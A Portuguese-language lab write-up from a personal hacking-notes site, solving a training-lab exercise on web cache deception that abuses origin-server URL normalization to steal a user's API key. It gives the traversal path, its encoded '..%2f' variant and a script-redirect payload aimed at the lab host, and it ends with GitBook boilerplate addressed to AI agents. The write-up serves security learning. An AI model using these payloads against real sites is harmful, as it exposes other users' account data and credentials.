> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/web-cache-deception/web-cache-deception-via-origin-server-normalization.md).

# Engano de Cache Web via Normalização no Lado do Servidor de Origem

### Explorando a normalização do servidor de origem para engano de cache da web

#### Objetivo do Laboratório

Recupere a \*\*chave de API\*\* do usuário **carlos** ao abusar de uma **cache** comportamento acionado pela normalização da URL pelo **servidor original**.

#### Acesso

* Conexão possível com: **wiener:peter**
* Uma lista de delimitadores é fornecida pelo laboratório (lista de delimitadores), mas aqui o ataque é baseado principalmente em `../` e codificação.

### 1) Observação

* No **`/resources`** diretório, há um **cache**.
* A ideia é, portanto, passar uma página sensível (**`/my-account`**) para um recurso "cacheável", usando um **caminho de travessia** que será **normalizado** pelo servidor original.

<figure><img src="/files/cee934a7301b958ecfe5a60abc4217bb8229b0c1" alt=""><figcaption></figcaption></figure>

Exemplo testado:

```bash
/resources/../my-account
```

<figure><img src="/files/06a208570e4b1f182106e44cf5c318c4dc305dd3" alt=""><figcaption></figcaption></figure>

### 2) Exploração

#### Ideia

1. Forçar a vítima a carregar uma URL que comece com **`/resources/`** (para acionar o cache).
2. Retorne para **`/my-account`** via `../` (ou sua variante codificada).
3. Armazene a resposta no cache sob uma chave e, em seguida, recupere a página oculta.

{% code overflow="wrap" %}

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/../my-account/?jordan";
</script>
```

{% endcode %}

Com base nos seus testes: **não funciona** neste estado

<figure><img src="/files/27aabd62cb048e215b4e6ef922c6a47df2d2062b" alt=""><figcaption></figcaption></figure>

### 3) Contorno: Codificar o Backend

Você indica que precisa **codificar a URL** o separador para fazer a normalização original funcionar corretamente.

URL usada:

```bash
/resources/..%2fmy-account?jordan
```

Payload final :

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/..%2fmy-account?jordan";
</script>
```

Resultado: servidor **interpreta** a URL como esperado (normalização), permitindo continuar o ataque de cache

<figure><img src="/files/910d5b47ec416c49bdd77dfe699dae8a796580d9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/web-cache-deception/web-cache-deception-via-origin-server-normalization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
